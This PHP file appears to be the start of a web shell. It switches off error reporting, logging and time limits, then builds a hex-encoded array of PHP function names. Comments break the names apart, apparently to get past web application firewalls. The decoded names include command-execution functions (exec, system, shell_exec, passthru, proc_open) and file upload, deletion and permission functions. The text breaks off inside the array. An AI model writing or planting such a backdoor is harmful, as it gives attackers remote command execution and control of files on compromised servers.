<?php

@set_time_limit(0);

@clearstatcache();

@ini_set('error_log', NULL);

@ini_set('log_errors', 0);

@ini_set('max_execution_time', 0);

@ini_set('output_buffering', 0);

@ini_set('display_errors', 0);

# function WAF

​

$Array = [

    '676574637764', # ge  tcw d => 0

    '676c6f62', # gl ob => 1

    '69735f646972', # is_d ir => 2

    '69735f66696c65', # is_ file => 3

    '69735f7772697461626c65', # is_wr iteable => 4

    '69735f7265616461626c65', # is_re adble => 5

    '66696c657065726d73', # fileper ms => 6

    '66696c65', # f ile => 7

    '7068705f756e616d65', # php_unam e => 8

    '6765745f63757272656e745f75736572', # getc urrentuser => 9

    '68746d6c7370656369616c6368617273', # html special => 10

    '66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11

    '6d6b646972', # mk dir => 12

    '746f756368', # to uch => 13

    '6368646972', # ch dir => 14

    '72656e616d65', # ren ame => 15

    '65786563', # exe c => 16

    '7061737374687275', # pas sthru => 17

    '73797374656d', # syst em => 18

    '7368656c6c5f65786563', # sh ell_exec => 19

    '706f70656e', # p open => 20

    '70636c6f7365', # pcl ose => 21

    '73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22

    '70726f635f6f70656e', # p roc_open => 23

    '756e6c696e6b', # un link => 24

    '726d646972', # rmd ir => 25

    '666f70656e', # fop en => 26

    '66636c6f7365', # fcl ose => 27

    '66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28

    '6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29

    '63686d6f64', # ch mod => 30

    '7379735f6765745f74656d705f646972', # temp _dir => 31